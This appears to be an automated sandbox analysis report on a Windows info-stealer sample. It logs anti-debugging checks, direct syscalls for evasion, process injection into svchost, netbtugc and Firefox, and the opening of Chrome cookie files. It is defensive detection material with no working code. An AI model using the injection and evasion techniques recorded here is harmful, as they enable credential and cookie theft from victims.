Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0353EA80 mov eax, dword ptr fs:[00000030h]	1_2_0353EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0353EA80 mov eax, dword ptr fs:[00000030h]	1_2_0353EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0353EA80 mov eax, dword ptr fs:[00000030h]	1_2_0353EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0353EA80 mov eax, dword ptr fs:[00000030h]	1_2_0353EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0353EA80 mov eax, dword ptr fs:[00000030h]	1_2_0353EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03604A80 mov eax, dword ptr fs:[00000030h]	1_2_03604A80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03538AA0 mov eax, dword ptr fs:[00000030h]	1_2_03538AA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03538AA0 mov eax, dword ptr fs:[00000030h]	1_2_03538AA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03586AA4 mov eax, dword ptr fs:[00000030h]	1_2_03586AA4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035B0946 mov eax, dword ptr fs:[00000030h]	1_2_035B0946
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035D4978 mov eax, dword ptr fs:[00000030h]	1_2_035D4978
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035D4978 mov eax, dword ptr fs:[00000030h]	1_2_035D4978
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035BC97C mov eax, dword ptr fs:[00000030h]	1_2_035BC97C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03556962 mov eax, dword ptr fs:[00000030h]	1_2_03556962
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03556962 mov eax, dword ptr fs:[00000030h]	1_2_03556962
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03556962 mov eax, dword ptr fs:[00000030h]	1_2_03556962
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0357096E mov eax, dword ptr fs:[00000030h]	1_2_0357096E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0357096E mov edx, dword ptr fs:[00000030h]	1_2_0357096E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0357096E mov eax, dword ptr fs:[00000030h]	1_2_0357096E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035BC912 mov eax, dword ptr fs:[00000030h]	1_2_035BC912
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03528918 mov eax, dword ptr fs:[00000030h]	1_2_03528918
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03528918 mov eax, dword ptr fs:[00000030h]	1_2_03528918
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035AE908 mov eax, dword ptr fs:[00000030h]	1_2_035AE908
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035AE908 mov eax, dword ptr fs:[00000030h]	1_2_035AE908
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035B892A mov eax, dword ptr fs:[00000030h]	1_2_035B892A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035C892B mov eax, dword ptr fs:[00000030h]	1_2_035C892B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0353A9D0 mov eax, dword ptr fs:[00000030h]	1_2_0353A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0353A9D0 mov eax, dword ptr fs:[00000030h]	1_2_0353A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0353A9D0 mov eax, dword ptr fs:[00000030h]	1_2_0353A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0353A9D0 mov eax, dword ptr fs:[00000030h]	1_2_0353A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0353A9D0 mov eax, dword ptr fs:[00000030h]	1_2_0353A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0353A9D0 mov eax, dword ptr fs:[00000030h]	1_2_0353A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035649D0 mov eax, dword ptr fs:[00000030h]	1_2_035649D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035FA9D3 mov eax, dword ptr fs:[00000030h]	1_2_035FA9D3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035C69C0 mov eax, dword ptr fs:[00000030h]	1_2_035C69C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035629F9 mov eax, dword ptr fs:[00000030h]	1_2_035629F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035629F9 mov eax, dword ptr fs:[00000030h]	1_2_035629F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035BE9E0 mov eax, dword ptr fs:[00000030h]	1_2_035BE9E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035B89B3 mov esi, dword ptr fs:[00000030h]	1_2_035B89B3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035B89B3 mov eax, dword ptr fs:[00000030h]	1_2_035B89B3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035B89B3 mov eax, dword ptr fs:[00000030h]	1_2_035B89B3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035429A0 mov eax, dword ptr fs:[00000030h]	1_2_035429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035429A0 mov eax, dword ptr fs:[00000030h]	1_2_035429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035429A0 mov eax, dword ptr fs:[00000030h]	1_2_035429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035429A0 mov eax, dword ptr fs:[00000030h]	1_2_035429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035429A0 mov eax, dword ptr fs:[00000030h]	1_2_035429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035429A0 mov eax, dword ptr fs:[00000030h]	1_2_035429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035429A0 mov eax, dword ptr fs:[00000030h]	1_2_035429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035429A0 mov eax, dword ptr fs:[00000030h]	1_2_035429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035429A0 mov eax, dword ptr fs:[00000030h]	1_2_035429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035429A0 mov eax, dword ptr fs:[00000030h]	1_2_035429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035429A0 mov eax, dword ptr fs:[00000030h]	1_2_035429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035429A0 mov eax, dword ptr fs:[00000030h]	1_2_035429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035429A0 mov eax, dword ptr fs:[00000030h]	1_2_035429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035309AD mov eax, dword ptr fs:[00000030h]	1_2_035309AD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035309AD mov eax, dword ptr fs:[00000030h]	1_2_035309AD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03560854 mov eax, dword ptr fs:[00000030h]	1_2_03560854
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03534859 mov eax, dword ptr fs:[00000030h]	1_2_03534859
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03534859 mov eax, dword ptr fs:[00000030h]	1_2_03534859
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03542840 mov ecx, dword ptr fs:[00000030h]	1_2_03542840
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035BE872 mov eax, dword ptr fs:[00000030h]	1_2_035BE872
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035BE872 mov eax, dword ptr fs:[00000030h]	1_2_035BE872
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035C6870 mov eax, dword ptr fs:[00000030h]	1_2_035C6870
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035C6870 mov eax, dword ptr fs:[00000030h]	1_2_035C6870
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035BC810 mov eax, dword ptr fs:[00000030h]	1_2_035BC810
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03552835 mov eax, dword ptr fs:[00000030h]	1_2_03552835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03552835 mov eax, dword ptr fs:[00000030h]	1_2_03552835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03552835 mov eax, dword ptr fs:[00000030h]	1_2_03552835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03552835 mov ecx, dword ptr fs:[00000030h]	1_2_03552835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03552835 mov eax, dword ptr fs:[00000030h]	1_2_03552835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03552835 mov eax, dword ptr fs:[00000030h]	1_2_03552835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0356A830 mov eax, dword ptr fs:[00000030h]	1_2_0356A830
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035D483A mov eax, dword ptr fs:[00000030h]	1_2_035D483A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035D483A mov eax, dword ptr fs:[00000030h]	1_2_035D483A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0355E8C0 mov eax, dword ptr fs:[00000030h]	1_2_0355E8C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036008C0 mov eax, dword ptr fs:[00000030h]	1_2_036008C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0356C8F9 mov eax, dword ptr fs:[00000030h]	1_2_0356C8F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0356C8F9 mov eax, dword ptr fs:[00000030h]	1_2_0356C8F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035FA8E4 mov eax, dword ptr fs:[00000030h]	1_2_035FA8E4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035BC89D mov eax, dword ptr fs:[00000030h]	1_2_035BC89D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03530887 mov eax, dword ptr fs:[00000030h]	1_2_03530887
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0352CF50 mov eax, dword ptr fs:[00000030h]	1_2_0352CF50

Source: C:\Users\user\Desktop\fJD7ivEnzm.exe

Code function: 0_2_004238DA __lseeki64_nolock,__lseeki64_nolock,GetProcessHeap,HeapAlloc,__setmode_nolock,__write_nolock,__setmode_nolock,GetProcessHeap,HeapFree,__lseeki64_nolock,SetEndOfFile,GetLastError,__lseeki64_nolock,

0_2_004238DA

Source: C:\Users\user\Desktop\fJD7ivEnzm.exe	Code function: 0_2_0041F250 SetUnhandledExceptionFilter,	0_2_0041F250
Source: C:\Users\user\Desktop\fJD7ivEnzm.exe	Code function: 0_2_0041A208 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_0041A208
Source: C:\Users\user\Desktop\fJD7ivEnzm.exe	Code function: 0_2_00417DAA IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00417DAA

HIPS / PFW / Operating System Protection Evasion

Source: C:\Program Files (x86)\nBZsoeShtiRFZWDJaFbPRYrKpKKMGNRMkspbHPHhwFJbwKNWOIybbDSualJqkBGoZjnHG\IqZHJpXEsts.exe	NtWriteVirtualMemory: Direct from: 0x76F0490C	Jump to behavior
Source: C:\Program Files (x86)\nBZsoeShtiRFZWDJaFbPRYrKpKKMGNRMkspbHPHhwFJbwKNWOIybbDSualJqkBGoZjnHG\IqZHJpXEsts.exe	NtAllocateVirtualMemory: Direct from: 0x76F03C9C	Jump to behavior
Source: C:\Program Files (x86)\nBZsoeShtiRFZWDJaFbPRYrKpKKMGNRMkspbHPHhwFJbwKNWOIybbDSualJqkBGoZjnHG\IqZHJpXEsts.exe	NtClose: Direct from: 0x76F02B6C
Source: C:\Program Files (x86)\nBZsoeShtiRFZWDJaFbPRYrKpKKMGNRMkspbHPHhwFJbwKNWOIybbDSualJqkBGoZjnHG\IqZHJpXEsts.exe	NtReadVirtualMemory: Direct from: 0x76F02E8C	Jump to behavior
Source: C:\Program Files (x86)\nBZsoeShtiRFZWDJaFbPRYrKpKKMGNRMkspbHPHhwFJbwKNWOIybbDSualJqkBGoZjnHG\IqZHJpXEsts.exe	NtCreateKey: Direct from: 0x76F02C6C	Jump to behavior
Source: C:\Program Files (x86)\nBZsoeShtiRFZWDJaFbPRYrKpKKMGNRMkspbHPHhwFJbwKNWOIybbDSualJqkBGoZjnHG\IqZHJpXEsts.exe	NtSetInformationThread: Direct from: 0x76F02B4C	Jump to behavior
Source: C:\Program Files (x86)\nBZsoeShtiRFZWDJaFbPRYrKpKKMGNRMkspbHPHhwFJbwKNWOIybbDSualJqkBGoZjnHG\IqZHJpXEsts.exe	NtQueryAttributesFile: Direct from: 0x76F02E6C	Jump to behavior
Source: C:\Program Files (x86)\nBZsoeShtiRFZWDJaFbPRYrKpKKMGNRMkspbHPHhwFJbwKNWOIybbDSualJqkBGoZjnHG\IqZHJpXEsts.exe	NtAllocateVirtualMemory: Direct from: 0x76F048EC	Jump to behavior
Source: C:\Program Files (x86)\nBZsoeShtiRFZWDJaFbPRYrKpKKMGNRMkspbHPHhwFJbwKNWOIybbDSualJqkBGoZjnHG\IqZHJpXEsts.exe	NtQuerySystemInformation: Direct from: 0x76F048CC	Jump to behavior
Source: C:\Program Files (x86)\nBZsoeShtiRFZWDJaFbPRYrKpKKMGNRMkspbHPHhwFJbwKNWOIybbDSualJqkBGoZjnHG\IqZHJpXEsts.exe	NtQueryVolumeInformationFile: Direct from: 0x76F02F2C	Jump to behavior
Source: C:\Program Files (x86)\nBZsoeShtiRFZWDJaFbPRYrKpKKMGNRMkspbHPHhwFJbwKNWOIybbDSualJqkBGoZjnHG\IqZHJpXEsts.exe	NtOpenSection: Direct from: 0x76F02E0C	Jump to behavior
Source: C:\Program Files (x86)\nBZsoeShtiRFZWDJaFbPRYrKpKKMGNRMkspbHPHhwFJbwKNWOIybbDSualJqkBGoZjnHG\IqZHJpXEsts.exe	NtSetInformationThread: Direct from: 0x76EF63F9	Jump to behavior
Source: C:\Program Files (x86)\nBZsoeShtiRFZWDJaFbPRYrKpKKMGNRMkspbHPHhwFJbwKNWOIybbDSualJqkBGoZjnHG\IqZHJpXEsts.exe	NtDeviceIoControlFile: Direct from: 0x76F02AEC	Jump to behavior
Source: C:\Program Files (x86)\nBZsoeShtiRFZWDJaFbPRYrKpKKMGNRMkspbHPHhwFJbwKNWOIybbDSualJqkBGoZjnHG\IqZHJpXEsts.exe	NtAllocateVirtualMemory: Direct from: 0x76F02BEC	Jump to behavior
Source: C:\Program Files (x86)\nBZsoeShtiRFZWDJaFbPRYrKpKKMGNRMkspbHPHhwFJbwKNWOIybbDSualJqkBGoZjnHG\IqZHJpXEsts.exe	NtCreateFile: Direct from: 0x76F02FEC	Jump to behavior
Source: C:\Program Files (x86)\nBZsoeShtiRFZWDJaFbPRYrKpKKMGNRMkspbHPHhwFJbwKNWOIybbDSualJqkBGoZjnHG\IqZHJpXEsts.exe	NtOpenFile: Direct from: 0x76F02DCC	Jump to behavior
Source: C:\Program Files (x86)\nBZsoeShtiRFZWDJaFbPRYrKpKKMGNRMkspbHPHhwFJbwKNWOIybbDSualJqkBGoZjnHG\IqZHJpXEsts.exe	NtQueryInformationToken: Direct from: 0x76F02CAC	Jump to behavior
Source: C:\Program Files (x86)\nBZsoeShtiRFZWDJaFbPRYrKpKKMGNRMkspbHPHhwFJbwKNWOIybbDSualJqkBGoZjnHG\IqZHJpXEsts.exe	NtTerminateThread: Direct from: 0x76F02FCC	Jump to behavior
Source: C:\Program Files (x86)\nBZsoeShtiRFZWDJaFbPRYrKpKKMGNRMkspbHPHhwFJbwKNWOIybbDSualJqkBGoZjnHG\IqZHJpXEsts.exe	NtProtectVirtualMemory: Direct from: 0x76EF7B2E	Jump to behavior
Source: C:\Program Files (x86)\nBZsoeShtiRFZWDJaFbPRYrKpKKMGNRMkspbHPHhwFJbwKNWOIybbDSualJqkBGoZjnHG\IqZHJpXEsts.exe	NtOpenKeyEx: Direct from: 0x76F02B9C	Jump to behavior
Source: C:\Program Files (x86)\nBZsoeShtiRFZWDJaFbPRYrKpKKMGNRMkspbHPHhwFJbwKNWOIybbDSualJqkBGoZjnHG\IqZHJpXEsts.exe	NtProtectVirtualMemory: Direct from: 0x76F02F9C	Jump to behavior
Source: C:\Program Files (x86)\nBZsoeShtiRFZWDJaFbPRYrKpKKMGNRMkspbHPHhwFJbwKNWOIybbDSualJqkBGoZjnHG\IqZHJpXEsts.exe	NtSetInformationProcess: Direct from: 0x76F02C5C	Jump to behavior
Source: C:\Program Files (x86)\nBZsoeShtiRFZWDJaFbPRYrKpKKMGNRMkspbHPHhwFJbwKNWOIybbDSualJqkBGoZjnHG\IqZHJpXEsts.exe	NtNotifyChangeKey: Direct from: 0x76F03C2C	Jump to behavior
Source: C:\Program Files (x86)\nBZsoeShtiRFZWDJaFbPRYrKpKKMGNRMkspbHPHhwFJbwKNWOIybbDSualJqkBGoZjnHG\IqZHJpXEsts.exe	NtCreateMutant: Direct from: 0x76F035CC	Jump to behavior
Source: C:\Program Files (x86)\nBZsoeShtiRFZWDJaFbPRYrKpKKMGNRMkspbHPHhwFJbwKNWOIybbDSualJqkBGoZjnHG\IqZHJpXEsts.exe	NtWriteVirtualMemory: Direct from: 0x76F02E3C	Jump to behavior
Source: C:\Program Files (x86)\nBZsoeShtiRFZWDJaFbPRYrKpKKMGNRMkspbHPHhwFJbwKNWOIybbDSualJqkBGoZjnHG\IqZHJpXEsts.exe	NtMapViewOfSection: Direct from: 0x76F02D1C	Jump to behavior
Source: C:\Program Files (x86)\nBZsoeShtiRFZWDJaFbPRYrKpKKMGNRMkspbHPHhwFJbwKNWOIybbDSualJqkBGoZjnHG\IqZHJpXEsts.exe	NtResumeThread: Direct from: 0x76F036AC	Jump to behavior
Source: C:\Program Files (x86)\nBZsoeShtiRFZWDJaFbPRYrKpKKMGNRMkspbHPHhwFJbwKNWOIybbDSualJqkBGoZjnHG\IqZHJpXEsts.exe	NtAllocateVirtualMemory: Direct from: 0x76F02BFC	Jump to behavior
Source: C:\Program Files (x86)\nBZsoeShtiRFZWDJaFbPRYrKpKKMGNRMkspbHPHhwFJbwKNWOIybbDSualJqkBGoZjnHG\IqZHJpXEsts.exe	NtReadFile: Direct from: 0x76F02ADC	Jump to behavior
Source: C:\Program Files (x86)\nBZsoeShtiRFZWDJaFbPRYrKpKKMGNRMkspbHPHhwFJbwKNWOIybbDSualJqkBGoZjnHG\IqZHJpXEsts.exe	NtQuerySystemInformation: Direct from: 0x76F02DFC	Jump to behavior
Source: C:\Program Files (x86)\nBZsoeShtiRFZWDJaFbPRYrKpKKMGNRMkspbHPHhwFJbwKNWOIybbDSualJqkBGoZjnHG\IqZHJpXEsts.exe	NtDelayExecution: Direct from: 0x76F02DDC	Jump to behavior
Source: C:\Program Files (x86)\nBZsoeShtiRFZWDJaFbPRYrKpKKMGNRMkspbHPHhwFJbwKNWOIybbDSualJqkBGoZjnHG\IqZHJpXEsts.exe	NtQueryInformationProcess: Direct from: 0x76F02C26	Jump to behavior
Source: C:\Program Files (x86)\nBZsoeShtiRFZWDJaFbPRYrKpKKMGNRMkspbHPHhwFJbwKNWOIybbDSualJqkBGoZjnHG\IqZHJpXEsts.exe	NtResumeThread: Direct from: 0x76F02FBC	Jump to behavior
Source: C:\Program Files (x86)\nBZsoeShtiRFZWDJaFbPRYrKpKKMGNRMkspbHPHhwFJbwKNWOIybbDSualJqkBGoZjnHG\IqZHJpXEsts.exe	NtCreateUserProcess: Direct from: 0x76F0371C	Jump to behavior

Maps a DLL or memory area into another process

Source: C:\Users\user\Desktop\fJD7ivEnzm.exe	Section loaded: NULL target: C:\Windows\SysWOW64\svchost.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: NULL target: C:\Program Files (x86)\nBZsoeShtiRFZWDJaFbPRYrKpKKMGNRMkspbHPHhwFJbwKNWOIybbDSualJqkBGoZjnHG\IqZHJpXEsts.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: NULL target: C:\Windows\SysWOW64\netbtugc.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\netbtugc.exe	Section loaded: NULL target: C:\Program Files (x86)\nBZsoeShtiRFZWDJaFbPRYrKpKKMGNRMkspbHPHhwFJbwKNWOIybbDSualJqkBGoZjnHG\IqZHJpXEsts.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\netbtugc.exe	Section loaded: NULL target: C:\Program Files (x86)\nBZsoeShtiRFZWDJaFbPRYrKpKKMGNRMkspbHPHhwFJbwKNWOIybbDSualJqkBGoZjnHG\IqZHJpXEsts.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\netbtugc.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\netbtugc.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: execute and read and write	Jump to behavior

Modifies the context of a thread in another process (thread injection)

Source: C:\Windows\SysWOW64\netbtugc.exe

Thread register set: target process: 5460

Queues an APC in another process (thread injection)

Source: C:\Windows\SysWOW64\netbtugc.exe

Thread APC queued: target process: C:\Program Files (x86)\nBZsoeShtiRFZWDJaFbPRYrKpKKMGNRMkspbHPHhwFJbwKNWOIybbDSualJqkBGoZjnHG\IqZHJpXEsts.exe

Writes to foreign memory regions

Source: C:\Users\user\Desktop\fJD7ivEnzm.exe

Memory written: C:\Windows\SysWOW64\svchost.exe base: 298A008

Source: C:\Users\user\Desktop\fJD7ivEnzm.exe

Code function: 0_2_00436CD7 LogonUserW,

0_2_00436CD7

Source: C:\Users\user\Desktop\fJD7ivEnzm.exe

0_2_0040D590

Source: C:\Users\user\Desktop\fJD7ivEnzm.exe

Code function: 0_2_00434418 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,

0_2_00434418

Source: C:\Users\user\Desktop\fJD7ivEnzm.exe

Code function: 0_2_0043333C __wcsicoll,mouse_event,__wcsicoll,mouse_event,

0_2_0043333C

Source: C:\Users\user\Desktop\fJD7ivEnzm.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\fJD7ivEnzm.exe"	Jump to behavior
Source: C:\Program Files (x86)\nBZsoeShtiRFZWDJaFbPRYrKpKKMGNRMkspbHPHhwFJbwKNWOIybbDSualJqkBGoZjnHG\IqZHJpXEsts.exe	Process created: C:\Windows\SysWOW64\netbtugc.exe "C:\Windows\SysWOW64\netbtugc.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\netbtugc.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: C:\Users\user\Desktop\fJD7ivEnzm.exe

Code function: 0_2_00446124 GetSecurityDescriptorDacl,GetAclInformation,GetLengthSid,GetAce,AddAce,GetLengthSid,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,

0_2_00446124

Source: fJD7ivEnzm.exe, IqZHJpXEsts.exe, 00000004.00000002.3639414937.0000000001A30000.00000002.00000001.00040000.00000000.sdmp, IqZHJpXEsts.exe, 00000004.00000000.1922688819.0000000001A30000.00000002.00000001.00040000.00000000.sdmp, IqZHJpXEsts.exe, 00000007.00000000.2067684255.0000000001350000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: IqZHJpXEsts.exe, 00000004.00000002.3639414937.0000000001A30000.00000002.00000001.00040000.00000000.sdmp, IqZHJpXEsts.exe, 00000004.00000000.1922688819.0000000001A30000.00000002.00000001.00040000.00000000.sdmp, IqZHJpXEsts.exe, 00000007.00000000.2067684255.0000000001350000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: IqZHJpXEsts.exe, 00000004.00000002.3639414937.0000000001A30000.00000002.00000001.00040000.00000000.sdmp, IqZHJpXEsts.exe, 00000004.00000000.1922688819.0000000001A30000.00000002.00000001.00040000.00000000.sdmp, IqZHJpXEsts.exe, 00000007.00000000.2067684255.0000000001350000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock
Source: IqZHJpXEsts.exe, 00000004.00000002.3639414937.0000000001A30000.00000002.00000001.00040000.00000000.sdmp, IqZHJpXEsts.exe, 00000004.00000000.1922688819.0000000001A30000.00000002.00000001.00040000.00000000.sdmp, IqZHJpXEsts.exe, 00000007.00000000.2067684255.0000000001350000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: }Program Manager
Source: fJD7ivEnzm.exe	Binary or memory string: JDASCRWINUPRWINDOWNLWINUPLWINDOWNSHIFTUPSHIFTDOWNALTUPALTDOWNCTRLUPCTRLDOWNMOUSE_XBUTTON2MOUSE_XBUTTON1MOUSE_MBUTTONMOUSE_RBUTTONMOUSE_LBUTTONLAUNCH_APP2LAUNCH_APP1LAUNCH_MEDIALAUNCH_MAILMEDIA_PLAY_PAUSEMEDIA_STOPMEDIA_PREVMEDIA_NEXTVOLUME_UPVOLUME_DOWNVOLUME_MUTEBROWSER_HOMEBROWSER_FAVORTIESBROWSER_SEARCHBROWSER_STOPBROWSER_REFRESHBROWSER_FORWARDBROWSER_BACKNUMPADENTERSLEEPRSHIFTLSHIFTRALTLALTRCTRLLCTRLAPPSKEYNUMPADDIVNUMPADDOTNUMPADSUBNUMPADADDNUMPADMULTNUMPAD9NUMPAD8NUMPAD7NUMPAD6NUMPAD5NUMPAD4NUMPAD3NUMPAD2NUMPAD1NUMPAD0CAPSLOCKPAUSEBREAKNUMLOCKSCROLLLOCKRWINLWINPRINTSCREENUPTABSPACERIGHTPGUPPGDNLEFTINSERTINSHOMEF12F11F10F9F8F7F6F5F4F3F2F1ESCAPEESCENTERENDDOWNDELETEDELBSBACKSPACEALTONOFF0%d%dShell_TrayWndExitScript Pausedblankinfoquestionstopwarning

Source: C:\Users\user\Desktop\fJD7ivEnzm.exe

Code function: 0_2_004720DB GetLocalTime,__swprintf,SHGetFolderPathW,SHGetFolderPathW,SHGetFolderPathW,SHGetFolderPathW,SHGetFolderPathW,SHGetFolderPathW,SHGetFolderPathW,SHGetFolderPathW,SHGetFolderPathW,

0_2_004720DB

Source: C:\Users\user\Desktop\fJD7ivEnzm.exe

Code function: 0_2_00472C3F GetUserNameW,

0_2_00472C3F

Source: C:\Users\user\Desktop\fJD7ivEnzm.exe

Code function: 0_2_0041E364 __lock,____lc_codepage_func,__getenv_helper_nolock,_free,_strlen,__malloc_crt,_strlen,_strcpy_s,__invoke_watson,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,WideCharToMultiByte,

0_2_0041E364

Source: C:\Users\user\Desktop\fJD7ivEnzm.exe

Code function: 0_2_0040E500 GetVersionExW,GetCurrentProcess,GetNativeSystemInfo,FreeLibrary,FreeLibrary,FreeLibrary,GetSystemInfo,GetSystemInfo,FreeLibrary,

0_2_0040E500

Stealing of Sensitive Information

Tries to harvest and steal browser information (history, passwords, etc)

Source: Yara match	File source: 1.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.1996196701.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3638744438.00000000032E0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3638995982.00000000035D0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1996763400.0000000003850000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3638935792.0000000003580000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1996814627.0000000003C00000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.3639798172.00000000031D0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

Source: C:\Windows\SysWOW64\netbtugc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\netbtugc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
